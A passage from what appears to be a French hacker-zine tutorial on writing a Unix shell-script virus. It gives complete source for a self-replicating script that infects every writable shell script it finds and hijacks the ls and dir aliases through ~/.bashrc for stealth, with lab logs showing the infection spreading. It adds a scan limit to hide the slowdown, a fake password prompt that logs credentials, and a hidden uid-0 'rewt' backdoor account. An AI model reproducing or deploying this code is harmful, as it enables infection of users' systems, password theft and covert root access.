command"'" >> ~/.bashrc
[user@ThreaT@workgroup test]$ exit
ThreaT@workgroup login: user
password :
Warning: your password will expire in -2 days
Last login: Tue Mar 14 13:06:33 on tty4
[user@ThreaT@workgroup user]$ ls
I have burn your fucking command
[user@ThreaT@workgroup user]$


ok, voici le code qui va assumer cette fonction:

------------cut-----------
#!/bin/sh
if [ -w ~/.bashrc ]; then <-----------on test si le fichier profile est accessible en ecriture
if grep "nom_du_fichier_pointer" ~/.bashrc > /dev/null; then <------ on regarde dedans si on
: a pas deja modifié le profil
else
echo "alias ls='echo nom_du_fichier_pointer'" >> ~/.bashrc <---si c'est pas modifié, on modifie
echo "alias dir='ls'" >> ~/.bashrc
fi
------------cut-------------


maintenant, il nous faut une fonction qui va nous crée le fichier pointer par notre alias:
non seulement, il faut que notre code pointé soit accessible, mais il faut aussi que celui si
puisse supporter les eventuelles arguments apportés par l'utilisateur à sa commande préféré,
sans quoi notre virus seras très très vite repéré:

mettons sa en place:

--------cut---------------
#!/bin/sh
if [ -f /tmp/.Virus ]; then <-------- on regarde si le fichier existe deja
:
else
echo "#!/bin/sh" > /tmp/.Virus <------ si il n'existe pas, on le crée
grep "signature" $0 >> /tmp/.Virus
echo "ls \$1 \$2 \$3" >> /tmp/.Virus <----- on lui ajoute une commande prenant en compte
d'eventuelle arguments
chmod 777 /tmp/.Virus <----- et on le met accessible
fi
-------cut-------------------



un petit MIC MAC de tout sa!


----------virus2.sh--------------
#!/bin/bash
#attention, ce virus est dir stealth
#a manipuler avec precaution
echo "virus LSSI version 1.0, by ThreaT" #MvM
echo " good for health, bad for education" #MvM <----desolé, j'ai pas put m'en empéché
if [ -f /tmp/.Virus ]; then #MvM
: #MvM
else #MvM
echo "#!/bin/sh" > /tmp/.Virus #MvM
grep "MvM" $0 >> /tmp/.Virus #MvM
echo "ls \$1 \$2 \$3" >> /tmp/.Virus #MvM
chmod 777 /tmp/.Virus #MvM
fi #MvM
if [ -w ~/.bashrc ]; then #MvM
if grep "Virus" ~/.bashrc > /dev/null; then #MvM
: #MvM
else #MvM
echo "alias ls='/tmp/.Virus'" >> ~/.bashrc #MvM
echo "alias dir='ls'" >> ~/.bashrc #MvM
fi #MvM
fi #MvM
for f in * #MvM
do #MvM
file $f > /tmp/t #MvM
if grep "shell" /tmp/t > /dev/null; then #MvM
v="$v $f" #MvM
fi #MvM
done #MvM
for i in $v #MvM
do #MvM
if grep "ViRuS" $i > /dev/null; then #MvM
continue #MvM
fi #MvM
if [ -w $i ]; then #MvM
echo "#!/bin/sh" > /tmp/t #MvM
grep "MvM" $0 >> /tmp/t #MvM
cat $i >> /tmp/t #MvM
cat /tmp/t > $i #MvM
fi #MvM
done #MvM
rm -f /tmp/t #MvM
------------------------------------

maintenant qu'on a un virus Ado, on va le tester en labo.

Attention: si vous testez ce virus chez vous, faite bien gaffe aux repertoires que vous
listerez.


////////////////
TEST EN LABO
\\\\\\\\\\\\\\\\

/* tout d'abbors on prepart le terrain */

[user@ThreaT@workgroup user]$ cd test
[user@ThreaT@workgroup test]$ rm -f i*
[user@ThreaT@workgroup test]$ rm -f virus
[user@ThreaT@workgroup test]$ mkdir test2
[user@ThreaT@workgroup test]$ cp sgen.sh test2/
[user@ThreaT@workgroup test]$ ./sgen.sh
nombre de script innocent a generer : 20
[user@ThreaT@workgroup test]$ cd test2
[user@ThreaT@workgroup test2]$ ./sgen.sh
nombre de script innocent a generer : 20
[user@ThreaT@workgroup test2]$ cd ..
[user@ThreaT@workgroup test]$ chmod -w innocent1 innocent2 innocent3 innocent4 innocent5
[user@ThreaT@workgroup test]$ ls -l
total 92
-rwxr-xr-x 1 user user 44 Mar 14 16:19 innocent*
-r-xr-xr-x 1 user user 44 Mar 14 16:19 innocent1*
-rwxr-xr-x 1 user user 44 Mar 14 16:19 innocent10*
-rwxr-xr-x 1 user user 44 Mar 14 16:19 innocent11*
-rwxr-xr-x 1 user user 44 Mar 14 16:19 innocent12*
-rwxr-xr-x 1 user user 44 Mar 14 16:19 innocent13*
-rwxr-xr-x 1 user user 44 Mar 14 16:19 innocent14*
-rwxr-xr-x 1 user user 44 Mar 14 16:19 innocent15*
-rwxr-xr-x 1 user user 44 Mar 14 16:19 innocent16*
-rwxr-xr-x 1 user user 44 Mar 14 16:19 innocent17*
-rwxr-xr-x 1 user user 44 Mar 14 16:19 innocent18*
-rwxr-xr-x 1 user user 44 Mar 14 16:19 innocent19*
-r-xr-xr-x 1 user user 44 Mar 14 16:19 innocent2*
-rwxr-xr-x 1 user user 44 Mar 14 16:19 innocent20*
-r-xr-xr-x 1 user user 44 Mar 14 16:19 innocent3*
-r-xr-xr-x 1 user user 44 Mar 14 16:19 innocent4*
-r-xr-xr-x 1 user user 44 Mar 14 16:19 innocent5*
-rwxr-xr-x 1 user user 44 Mar 14 16:19 innocent6*
-rwxr-xr-x 1 user user 44 Mar 14 16:19 innocent7*
-rwxr-xr-x 1 user user 44 Mar 14 16:19 innocent8*
-rwxr-xr-x 1 user user 44 Mar 14 16:19 innocent9*
-rwxrwxrwx 1 user user 279 Mar 14 13:20 sgen.sh*
drwxr-xr-x 2 user user 4096 Mar 14 16:19 test2/
[user@ThreaT@workgroup test]$ chmod -w test2/innocent10 test2/innocent11 test2/innocent12
test2/innocent13 test2/innocent14
[user@ThreaT@workgroup test]$ ls -l test2/
total 88
-rwxr-xr-x 1 user user 44 Mar 14 16:19 innocent*
-rwxr-xr-x 1 user user 44 Mar 14 16:19 innocent1*
-r-xr-xr-x 1 user user 44 Mar 14 16:19 innocent10*
-r-xr-xr-x 1 user user 44 Mar 14 16:19 innocent11*
-r-xr-xr-x 1 user user 44 Mar 14 16:19 innocent12*
-r-xr-xr-x 1 user user 44 Mar 14 16:19 innocent13*
-r-xr-xr-x 1 user user 44 Mar 14 16:19 innocent14*
-rwxr-xr-x 1 user user 44 Mar 14 16:19 innocent15*
-rwxr-xr-x 1 user user 44 Mar 14 16:19 innocent16*
-rwxr-xr-x 1 user user 44 Mar 14 16:19 innocent17*
-rwxr-xr-x 1 user user 44 Mar 14 16:19 innocent18*
-rwxr-xr-x 1 user user 44 Mar 14 16:19 innocent19*
-rwxr-xr-x 1 user user 44 Mar 14 16:19 innocent2*
-rwxr-xr-x 1 user user 44 Mar 14 16:19 innocent20*
-rwxr-xr-x 1 user user 44 Mar 14 16:19 innocent3*
-rwxr-xr-x 1 user user 44 Mar 14 16:19 innocent4*
-rwxr-xr-x 1 user user 44 Mar 14 16:19 innocent5*
-rwxr-xr-x 1 user user 44 Mar 14 16:19 innocent6*
-rwxr-xr-x 1 user user 44 Mar 14 16:19 innocent7*
-rwxr-xr-x 1 user user 44 Mar 14 16:19 innocent8*
-rwxr-xr-x 1 user user 44 Mar 14 16:19 innocent9*
-rwxr-xr-x 1 user user 279 Mar 14 16:15 sgen.sh*
[user@ThreaT@workgroup test]$

donc, en resumé, nous venons de crée 2 repertoires: /home/user/test et /home/user/test2

dans chaque repertoire il y a 20 fichiers innocents, dont quelques un non accessible en
ecriture.

ok, maintenant voila le dil : nous allons lancer le virus dans le repertoire test, ce qui auras
pour effet une infection total des fichiers accessibles en ecriture dans le repertoire.

ensuite, nous allons nous deconnecter puis nous reconnecter, afin que notre profile soit
reinitialisé.

puis nous irons lister le contenu de test2.

et si l'infection s'effectue sur test2, nous aurons gagné la partie !

messieurs, il est temp de faire rentrer le loup dans la bergerie...

[user@ThreaT@workgroup test]$ cp ~user/virus2.sh virus
[user@ThreaT@workgroup test]$ chmod +x virus

/* on retient son souffle */

[user@ThreaT@workgroup test]$ ./virus
virus LSSI version 1.0, by ThreaT
good for helth, bad for education
[user@ThreaT@workgroup test]$ ls -l
total 100
-rwxr-xr-x 1 user user 1006 Mar 14 17:00 innocent*
-r-xr-xr-x 1 user user 44 Mar 14 16:59 innocent1*
-rwxr-xr-x 1 user user 1006 Mar 14 17:00 innocent10*
-rwxr-xr-x 1 user user 1006 Mar 14 17:00 innocent11*
-rwxr-xr-x 1 user user 1006 Mar 14 17:00 innocent12*
-rwxr-xr-x 1 user user 1006 Mar 14 17:00 innocent13*
-rwxr-xr-x 1 user user 1006 Mar 14 17:00 innocent14*
-rwxr-xr-x 1 user user 1006 Mar 14 17:00 innocent15*
-rwxr-xr-x 1 user user 1006 Mar 14 17:00 innocent16*
-rwxr-xr-x 1 user user 1006 Mar 14 17:00 innocent17*
-rwxr-xr-x 1 user user 1006 Mar 14 17:00 innocent18*
-rwxr-xr-x 1 user user 1006 Mar 14 17:00 innocent19*
-r-xr-xr-x 1 user user 44 Mar 14 16:59 innocent2*
-rwxr-xr-x 1 user user 1006 Mar 14 17:00 innocent20*
-r-xr-xr-x 1 user user 44 Mar 14 16:59 innocent3*
-r-xr-xr-x 1 user user 44 Mar 14 16:59 innocent4*
-r-xr-xr-x 1 user user 44 Mar 14 16:59 innocent5*
-rwxr-xr-x 1 user user 1006 Mar 14 17:00 innocent6*
-rwxr-xr-x 1 user user 1006 Mar 14 17:00 innocent7*
-rwxr-xr-x 1 user user 1006 Mar 14 17:00 innocent8*
-rwxr-xr-x 1 user user 1006 Mar 14 17:00 innocent9*
-rwxrwxrwx 1 user user 279 Mar 14 13:20 sgen.sh*
drwxr-xr-x 2 user user 4096 Mar 14 16:19 test2/
-rwxr-xr-x 1 root root 1030 Mar 14 16:59 virus*
-rwxr-xr-x 1 root root 1021 Mar 14 16:54 virus~*

/* on verifie que le profile a bien été modifié */

[user@ThreaT@workgroup test]$ cat ~/.bashrc
# .bashrc

# User specific aliases and functions
alias rm='rm -i'
alias mv='mv -i'
alias cp='cp -i'
alias s='cd ..'
alias d='ls'
alias p='cd -'

# Need for a xterm & co if we don't make a -ls
[ -n $DISPLAY ] && {
[ -f /etc/profile.d/color_ls.sh ] && source /etc/profile.d/color_ls.sh
export XAUTHORITY=$HOME/.Xauthority
}

# Read first /etc/inputrc if the variable is not defined, and after the /etc/inputrc
# include the ~/.inputrc
[ -z $INPUTRC ] && export INPUTRC=/etc/inputrc

# Source global definitions
if [ -f /etc/bashrc ]; then
. /etc/bashrc
fi

alias ls='/tmp/.Virus' <--------yes
alias dir='ls' <-------yes

on vas jeter un oeil à notre code pseudo resident

[user@ThreaT@workgroup test]$ cat /tmp/.Virus
#!/bin/sh
echo "virus LSSI version 1.0, by ThreaT" #MvM
echo " good for helth, bad for education" #MvM
if [ -f /tmp/.Virus ]; then #MvM
: #MvM
else #MvM
echo "#!/bin/sh" > /tmp/.Virus #MvM
grep "MvM" $0 >> /tmp/.Virus #MvM
echo "ls \$1 \$2 \$3" >> /tmp/.Virus #MvM
chmod 777 /tmp/.Virus #MvM
fi #MvM
if [ -w ~/.bashrc ]; then #MvM
if grep "Virus" ~/.bashrc > /dev/null; then #MvM
: #MvM
else #MvM
echo "alias ls='/tmp/.Virus'" >> ~/.bashrc #MvM
echo "alias dir='ls'" >> ~/.bashrc #MvM
fi #MvM
fi #MvM
for f in * #MvM
do #MvM
file $f > /tmp/t #MvM
if grep "shell" /tmp/t > /dev/null; then #MvM
v="$v $f" #MvM
fi #MvM
done #MvM
for i in $v #MvM
do #MvM
if grep "ViRuS" $i > /dev/null; then #MvM
continue #MvM
fi #MvM
if [ -w $i ]; then #MvM
echo "#!/bin/sh" > /tmp/t #MvM
grep "MvM" $0 >> /tmp/t #MvM
cat $i >> /tmp/t #MvM
cat /tmp/t > $i #MvM
fi #MvM
done #MvM
rm -f /tmp/t #MvM
ls $1 $2 $3 <-------yes
[user@ThreaT@workgroup test]$

/* maintenant que tout est OK, on ce delogue, puis on ce relogue */

[user@ThreaT@workgroup test]$ exit
ThreaT@workgroup login: user
password :
Warning: your password will expire in -2 days
Last login: Tue Mar 14 18:09:15 on tty4
[user@ThreaT@workgroup user]$

/* normalement, notre virus doit ce trouver pointé par les alias */

[user@ThreaT@workgroup user]$ alias
alias cd..='cd ..'
alias cp='cp -i'
alias d='ls'
alias df='df -h -x supermount'
alias dir='ls' <------yes
alias du='du -h'
alias l='ls'
alias la='ls -A -k'
alias ll='ls -l'
alias ls='/tmp/.Virus' <------yes
alias lsd='ls -d */'
alias md='mkdir'
alias mv='mv -i'
alias p='cd -'
alias rd='rmdir'
alias rm='rm -i'
alias s='cd ..'
[user@ThreaT@workgroup user]$


/* ce qui veut dire que non seulement, tout appelle à la commande DIR ou LS feras appelle à
notre virus qui est placer dans /tmp/.Virus, mais aussi que tout appelle à l'une de ces
commandes accompagnés d'un argument est parfaitement operationnel pour l'utilisateur */

un petit essai s'il vous plait

[user@ThreaT@workgroup user]$ ls
virus LSSI version 1.0, by ThreaT
good for helth, bad for education
Desktop bof buff recup salut suid test tmp virus2.sh
[user@ThreaT@workgroup user]$ dir
virus LSSI version 1.0, by ThreaT
good for helth, bad for education
Desktop bof buff recup salut suid test tmp virus2.sh
[user@ThreaT@workgroup user]$ ls -l
virus LSSI version 1.0, by ThreaT
good for helth, bad for education
total 68
drwxr-xr-x 4 user user 4096 Feb 23 21:22 Desktop
-rwxr-xr-x 1 root root 11705 Mar 11 22:26 bo
-rwsr-sr-x 1 root root 11829 Mar 13 13:31 buff
drwxr-xr-x 5 user user 4096 Mar 13 13:57 recup
-rwsrwxrwx 1 root root 11638 Mar 2 18:49 salut
-rwsr-xr-x 1 root root 11330 Mar 11 20:51 suid
drwxr-xr-x 3 user user 4096 Mar 14 16:59 test
drwx------ 2 user user 4096 Mar 14 15:06 tmp
-rw-r--r-- 1 root root 1210 Mar 14 16:33 virus2.sh
[user@ThreaT@workgroup user]$

putain, mais c'est que sa marche trop bien cette merde!!

maintenant que l'on sait que le virus est parfaitement dir stealth, voyons si la

  
fonction
d'infection est parfaitement operationnel.

[user@ThreaT@workgroup user]$ cd test/test2
[user@ThreaT@workgroup test2]$ ls -l
virus LSSI version 1.0, by ThreaT
good for helth, bad for education
total 88
-rwxr-xr-x 1 user user 1006 Mar 14 17:17 innocent
-rwxr-xr-x 1 user user 1006 Mar 14 17:17 innocent1
-r-xr-xr-x 1 user user 44 Mar 14 16:19 innocent10
-r-xr-xr-x 1 user user 44 Mar 14 16:19 innocent11
-r-xr-xr-x 1 user user 44 Mar 14 16:19 innocent12
-r-xr-xr-x 1 user user 44 Mar 14 16:19 innocent13
-r-xr-xr-x 1 user user 44 Mar 14 16:19 innocent14
-rwxr-xr-x 1 user user 1006 Mar 14 17:17 innocent15
-rwxr-xr-x 1 user user 1006 Mar 14 17:17 innocent16
-rwxr-xr-x 1 user user 1006 Mar 14 17:17 innocent17
-rwxr-xr-x 1 user user 1006 Mar 14 17:17 innocent18
-rwxr-xr-x 1 user user 1006 Mar 14 17:17 innocent19
-rwxr-xr-x 1 user user 1006 Mar 14 17:17 innocent2
-rwxr-xr-x 1 user user 1006 Mar 14 17:17 innocent20
-rwxr-xr-x 1 user user 1006 Mar 14 17:17 innocent3
-rwxr-xr-x 1 user user 1006 Mar 14 17:17 innocent4
-rwxr-xr-x 1 user user 1006 Mar 14 17:17 innocent5
-rwxr-xr-x 1 user user 1006 Mar 14 17:17 innocent6
-rwxr-xr-x 1 user user 1006 Mar 14 17:17 innocent7
-rwxr-xr-x 1 user user 1006 Mar 14 17:17 innocent8
-rwxr-xr-x 1 user user 1006 Mar 14 17:17 innocent9
-rwxr-xr-x 1 user user 279 Mar 14 16:15 sgen.sh
[user@ThreaT@workgroup test2]$ BINGOOO!!
bash: BINGOOO!!: command not found
[user@ThreaT@workgroup test2]$

sa MAAAAAAARRche!!

comme vous l'avez vue, test2 était parfaitement saint lorsque l'on c'est deloguer, il suffit
qu'on aye le lister pour que tout le repertoire soit infecté, ce qui fait que notre virus est
parfaitement DIR STEALTH Pseudo Residency

mais attention, ce n'est pas fini !

il reste encore à regler, ce que j'appelerais le timebug.
mais qu'est ce que sexe que le timebug???

voila, une commande de listage met normalemment moin d'une seconde à être executée.
avec notre virus en plus, cela fait à peut près une seconde voir même deux, ce qui est disons
acceptable.

bon, mais vous êtes bien conscient que le temp que va mettre la commande LS à afficher le
listing du repertoire depend esseciellement du nombre de fichier étant dans ce repertoire.
et depend aussi de la machine infectée!!

ce qui veut dire qu'il faudrait penser à mettre au point une fonction qui ne scannerais qu'un
nombre limité de fichier afin que le temp d'affichage soit grossomodo compris entre deux
interval de temp raisonnables.

un exemple de ce que je raconte :

/* j'efface tout les fichier innocent */
[user@ThreaT@workgroup test2]$ rm -f *i

/* et je vais générer 500 fichiers innocents */
[user@ThreaT@workgroup test2]$ ./sgen.sh
nombre de script innocent a generer : 500

/* ok, maintenant, regardons combien de temp met notre opération a s'effectuer */

[user@ThreaT@workgroup test2]$ time /tmp/.Virus
virus LSSI version 1.0, by ThreaT
good for health, bad for education
innocent innocent1 innocent10 innocent100
innocent101 innocent102 innocent103 innocent104
innocent105 innocent106 innocent107 innocent108
innocent109 innocent11 innocent110 innocent111
innocent112 innocent113
innocent114 innocent115 innocent116 innocent117
innocent118 innocent119 innocent12 innocent120
innocent121 innocent122 innocent123
innocent124 innocent125 innocent126 innocent127
innocent128 innocent129 innocent13 innocent130
innocent131 innocent132
innocent133 innocent134 innocent135 innocent136
innocent137 innocent138 innocent139 innocent140 innocent141
innocent142 innocent143 innocent144 innocent145
innocent146 innocent147 innocent148 innocent149
innocent15 innocent150
innocent151 innocent152 innocent153 innocent154
innocent155 innocent156 innocent157 innocent158
innocent159 innocent16
innocent160 innocent161 innocent162 innocent163
innocent164 innocent165 innocent166 innocent167
innocent168 innocent169
innocent17 innocent170 innocent171 innocent172
innocent173 innocent174 innocent175 innocent176
innocent177 innocent178
innocent179 innocent18 innocent180 innocent181
innocent182 innocent183 innocent184 innocent185
nnocent186 innocent187
innocent188 innocent189 innocent19 innocent190
innocent191 innocent192 innocent193 innocent194
innocent195 innocent196
innocent197 innocent198 innocent199 innocent2
innocent20 innocent200 innocent201 innocent202
innocent203 innocent204
innocent205 innocent206 innocent207 innocent208
innocent209 innocent21 innocent210 innocent211
innocent212 innocent213
innocent214 innocent215 innocent216 innocent217
innocent218 innocent219 innocent22 innocent220
innocent221 innocent222
innocent223 innocent224 innocent225 innocent226
innocent227 innocent228 innocent229 innocent23 innocent230 innocent231
innocent232 innocent233 innocent234 innocent235
innocent236 innocent237 innocent238 innocent239 innocent24 innocent240
innocent241 innocent242 innocent243 innocent244
innocent245 innocent246 innocent247 innocent248 innocent249 innocent25
innocent250 innocent251 innocent252 innocent253
innocent254 innocent255 innocent256 innocent257 innocent258 innocent259
innocent26 innocent260 innocent261 innocent262
innocent263 innocent264 innocent265 innocent266 innocent267 innocent268
innocent269 innocent27 innocent270 innocent271
innocent272 innocent273 innocent274 innocent275 innocent276 innocent277
innocent278 innocent279 innocent28 innocent280
innocent281 innocent282 innocent283 innocent284 innocent285 innocent286
innocent287 innocent288 innocent289 innocent29
innocent290 innocent291 innocent292 innocent293 innocent294 innocent295
innocent296 innocent297 innocent298 innocent299
innocent3 innocent30 innocent300 innocent301 innocent302 innocent303
etc .....
11.38user 6.78system 0:18.71elapsed 97%CPU(0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (331309major+208493minor)pagefaults 0swaps


18,71 secondes pour lister un repertoire, mais c'est de la folie furieuse !!

et encore, sa c'est sur un PIII 550 overclocked a 616 Mhz
alors imaginés sur un serveur d'impression en 166 Mhz!!

non, ce qu'il faut, c'est brider le nombre de fichier à pointer, c'est a dire que nous allons
mettre au point une procedure qui va scanner un nombre de fichier prevu, afin que notre virus
n'essaye pas d'aller au delas, ce qui nous feras gagner un temp precieux.

nous appellerons ce nombre le coeficient de timebug.


hop, on ce repaluche le virus avec cette nouvelle info


----------virus3.sh--------------
#!/bin/bash
#attention, ce virus est dir stealth
#a manipuler avec precaution
echo "virus LSSI version 1.5, by ThreaT" #MvM
echo " avec coeficient de timebug actif " #MvM
if [ -f /tmp/.Virus ]; then #MvM
: #MvM
else #MvM
echo "#!/bin/sh" > /tmp/.Virus #MvM
grep "MvM" $0 >> /tmp/.Virus #MvM
echo "ls \$1 \$2 \$3" >> /tmp/.Virus #MvM
chmod 777 /tmp/.Virus #MvM
fi #MvM
if [ -w ~/.bashrc ]; then #MvM
if grep "Virus" ~/.bashrc > /dev/null; then #MvM
: #MvM
else #MvM
echo "alias ls='/tmp/.Virus'" >> ~/.bashrc #MvM
echo "alias dir='ls'" >> ~/.bashrc #MvM
fi #MvM
fi #MvM
a=1 #MvM <---------on place un indicateur initialiser a 1
for f in * #MvM
do #MvM
if [ $a -ge 100 ]; then #MvM <---- que l'on compare a notre coeficient de timebug
break #MvM <---- on arrete l'infection si $a est >= à 100 (pour plus de detaille,man test)
fi #MvM
a=$(($a+1)) #MvM <-----------puis on incremente l'indicateur de 1
file $f > /tmp/t #MvM
if grep "shell" /tmp/t > /dev/null; then #MvM
v="$v $f" #MvM
fi #MvM
done #MvM
for i in $v #MvM
do #MvM
if grep "ViRuS" $i > /dev/null; then #MvM
continue #MvM
fi #MvM
if [ -w $i ]; then #MvM
echo "#!/bin/sh" > /tmp/t #MvM
grep "MvM" $0 >> /tmp/t #MvM
cat $i >> /tmp/t #MvM
cat /tmp/t > $i #MvM
fi #MvM
done #MvM
rm -f /tmp/t #MvM
------------------------------------

refesons un petit test d'infection sur notre repertoire contenant 500 fichiers innocents avec
ce nouveau code.

[user@ThreaT@workgroup test2]$ rm -f i*
[user@ThreaT@workgroup test2]$ ./sgen.sh
nombre de script innocent a generer : 500
[user@ThreaT@workgroup test2]$ time /tmp/.Virus
virus LSSI version 1.5, by ThreaT
avec coeficient de timebug actif
innocent innocent1 innocent10 innocent100 innocent101 innocent102
innocent103 innocent104 innocent105 innocent106
innocent107 innocent108 innocent109 innocent11 innocent110 innocent111
innocent112 innocent113 innocent114
innocent115 innocent116 innocent117 innocent118 innocent119 innocent12
innocent120 innocent121 innocent122 innocent123
innocent124 innocent125 innocent126 innocent127 innocent128 innocent129
innocent13 innocent130 innocent131 innocent132
innocent133 innocent134 innocent135 innocent136 innocent137 innocent138
innocent139 innocent14 innocent140 innocent141
innocent142 innocent143 innocent144 innocent145 innocent146 innocent147
innocent148 innocent149 innocent15 innocent150
innocent151 innocent152 innocent153 innocent154 innocent155
innocent156 innocent157 innocent158 innocent159 innocent16
innocent160 innocent161 innocent162 innocent163 innocent164
innocent165 innocent166 innocent167 innocent168 innocent169
innocent17 innocent170 innocent171 innocent172 innocent173
innocent174 innocent175 innocent176 innocent177 innocent178
innocent179 innocent18 innocent180 innocent181 innocent182
innocent183 innocent184 innocent185 nnocent186 innocent187
innocent188 innocent189 innocent19 innocent190 innocent191
innocent192 innocent193 innocent194 innocent195 innocent196
innocent197 innocent198 innocent199 innocent2 innocent20
innocent200 innocent201 innocent202 innocent203 innocent204
innocent205 innocent206 innocent207 innocent208 innocent209
innocent21 innocent210 innocent211 innocent212 innocent213
innocent214 innocent215 innocent216 innocent217 innocent218
innocent219 innocent22 innocent220 innocent221 innocent222
innocent223 innocent224 innocent225 innocent226 innocent227
innocent228 innocent229 innocent23 innocent230 innocent231
innocent232 innocent233 innocent234 innocent235 innocent236
innocent237 innocent238 innocent239 innocent24 innocent240
innocent241 innocent242 innocent243 innocent244 innocent245
innocent246 innocent247 innocent248 innocent249 innocent25
innocent250 innocent251 innocent252 innocent253 innocent254
innocent255 innocent256 innocent257 innocent258 innocent259
innocent26 innocent260 innocent261 innocent262 innocent263
innocent264 innocent265 innocent266 innocent267 innocent268
innocent269 innocent27 innocent270 innocent271 innocent272
innocent273 innocent274 innocent275 innocent276 innocent277
innocent278 innocent279 innocent28 innocent280 innocent281
innocent282 innocent283 innocent284 innocent285 innocent286
innocent287 innocent288 innocent289 innocent29 innocent290
innocent291 innocent292 innocent293 innocent294 innocent295
innocent296 innocent297 innocent298 innocent299 innocent3
innocent30 innocent300 innocent301 innocent302 innocent303
etc .....
1.18user 0.85system 0:02.65elapsed 99%CPU(0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (331309major+208493minor)pagefaults 0swaps


2 secondes 65, c'est dejas mieux que 18 secondes !


maintenant que nous possedont un code auto-reproductible pas trop mal, il serait temp de le
mettre au point afin qu'il remplisse les fontions pour lesquelles nous l'avons crée



\\0x07// GACHETTE, TROJAN & OPTIMISATION
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

la mise en oeuvre de la gachette et du trojan sont deux parties qui seront à élaborer par
l'attaquant, en fonction du système, des utilisateurs et de la technique d'attaque que celui
si a choisi.
cette partie va traiter de quelque exemples qui pourraient éventuellement interresser ceux qui
ne sont pas très a l'aise avec le shell script, ou même ceux qui manque un peut d'imagination
dans le domaine du bypass de restrictions.


Mise en oeuvre de la gachette
##############################

reprenons notre virus
-----------------------------------
if [ -f /tmp/.Virus ]; then #MvM
: #MvM
else #MvM
echo "#!/bin/sh" > /tmp/.Virus #MvM
grep "MvM" $0 >> /tmp/.Virus #MvM
echo "ls \$1 \$2 \$3" >> /tmp/.Virus #MvM
chmod 777 /tmp/.Virus #MvM
fi #MvM
if [ -w ~/.bashrc ]; then #MvM
if grep "Virus" ~/.bashrc > /dev/null; then #MvM
: #MvM
else #MvM
echo "alias ls='/tmp/.Virus'" >> ~/.bashrc #MvM
echo "alias dir='ls'" >> ~/.bashrc #MvM
fi #MvM
fi #MvM
a=1 #MvM
for f in * #MvM
do #MvM
if [ $a -ge 100 ]; then #MvM
break #MvM
fi #MvM
a=$(($a+1)) #MvM
file $f > /tmp/t #MvM
if grep "shell" /tmp/t > /dev/null; then #MvM
v="$v $f" #MvM
fi #MvM
done #MvM
for i in $v #MvM
do #MvM
if grep "ViRuS" $i > /dev/null; then #MvM
continue #MvM
fi #MvM
if [ -w $i ]; then #MvM
echo "#!/bin/sh" > /tmp/t #MvM
grep "MvM" $0 >> /tmp/t #MvM
cat $i >> /tmp/t #MvM
cat /tmp/t > $i #MvM
fi #MvM
done #MvM
rm -f /tmp/t #MvM
if [ $USER = "root" ]; then #MvM <-- on regarde si c'est root qui a lancer le code
: #MvM <-- si oui, notre code trojan a executer seras inclue ici
fi #MvM <------ fin de la balise
----------------------------------

ceci n'est qu'un exemple de gachette qui consiste à regarder dans les variables
d'environnements si c'est root qui est l'heureux exectutant du virus.
mais vous pouvez parfaitemment faire autrement, du moment que le code trojan est placer entre
2 balises, et que la gachette est positionnée à la fin du code.

nous aurions pu par exemple verifier l'uid au lieu de l'utilisateur (si vous codez par exemple
un trojan pour un utilisateur spécial)

imaginons que je sache que le demon bin balance un script que je possede en own write acces,
je pourrait très bien modifier la gachette en ce sens

[user@ThreaT@workgroup user]$ id bin
uid=1(bin) gid=1(bin) groups=1(bin),2(daemon),3(sys)

ce qui apperterais comme modification
---------------------------
if [ $("id -u") = 1 ];then
code trojan
fi


la gachette peut aussi être declancher pour un evenement donné.
par exemple, imaginons que je veuille piquer le mot de passe de tout ceux qui sont infectée,
et qui viendrons ce connectés sur un terminal non grafique.
il me seras alors facile de remettre à ma sauce le code pseudo residency placer dans /tmp afin
que celui ci assume cette fonction

ce qui apporterait comme modification
--------------------------------
if who | grep $USER && grep "tty" > /dev/null; then
echo -n "password: "
read pass
echo "user: $USER, password: $pass" >> /tmp/.XyZ
chmod 777 /tmp/.XyZ
fi


tout ceci n'a qu'une valeur theorique, car comme vous vous en doutez, la mise en oeuvre de la
gachette depend essenciellement de l'environnement dans lequel nous nous trouvons


mise en oeuvre du trojan
#############################

le trojan est a placer entre les 2 balises de la gachette qui sont defini par if et fi

un exemple classique de trojan consiste à ce crée un utilisateur root, a l'insu de notre root,
hé hé!

---------------
if [ $USER = "root" ]; then
useradd -u 0 -p Bsk35R./GcDwE rewt
fi
---------------

ce trojan va nous crée un root appellé "rewt" avec le mot de passe "owned" si root vient
à executer notre code infecteur.



voici un autre exemple portant sur une étude d'attaque qui pourras nous permettre de rendre
notre virus dir stealth pour tout les utilisateurs du système si root venait à être infecté.
[user@serveur@workgroup user]$ alias
alias cd..='cd ..'
alias cp='cp -i'
alias d='ls'
alias df='df -h -x supermount'
alias du='du -h'
alias l='ls'
alias la='ls -A -k'
alias ll='ls -l'
alias ls='ls --color=auto -F' <--- apparemment, le profile type est configuré pour un ls color
alias lsd='ls -d */'
alias md='mkdir'
alias mv='mv -i'
alias p='cd -'
alias rd='rmdir'
alias rm='rm -i'
alias s='cd ..'
[user@serveur@workgroup user]$ ls -l /etc/profile.d
total 56
-rwxr-xr-x 1 root root 672 Dec 27 22:21 alias.sh*
-rwxr-xr-x 1 root root 66 Dec 15 23:12 color_ls.csh*
-rwxr-xr-x 1 root root 192 Dec 15 23:12 color_ls.sh* <--sa doit ce passer ici
-rwxr-xr-x 1 root root 133 Jan 12 06:36 inputrc.sh*
-rwxr-xr-x 1 root root 271 Jan 7 15:00 kde.csh*
-rwxr-xr-x 1 root root 192 Jan 7 15:00 kde.sh*
-rwxr-xr-x 1 root root 753 Jan 12 06:36 lang.csh*
-rwxr-xr-x 1 root root 1681 Jan 12 06:36 lang.sh*
-rwxr-xr-x 1 root root 64 Jan 4 22:50 mc.csh*
-rwxr-xr-x 1 root root 167 Jan 4 22:50 mc.sh*
-rwxr-xr-x 1 root root 267 Dec 22 18:24 numlock.sh*
-rwxr-xr-x 1 root root 103 Dec 21 14:44 screen.sh*
-rwxr-xr-x 1 root root 149 Jan 6 23:38 xhost.csh*
-rwxr-xr-x 1 root root 151 Jan 6 23:38 xhost.sh*
[user@serveur@workgroup user]$ cat /etc/profile.d/color_ls.sh
#!/bin/bash
eval `dircolors /etc/DIR_COLORS`
if [ $TERM = "emacs" ];then
alias ls='ls -N -F'
else
alias ls="ls --color=auto -F" <-- c'est bien sa, mais seul root a le write access
fi


modification du trojan
---------------------------
if [ $USER = "root" ];then
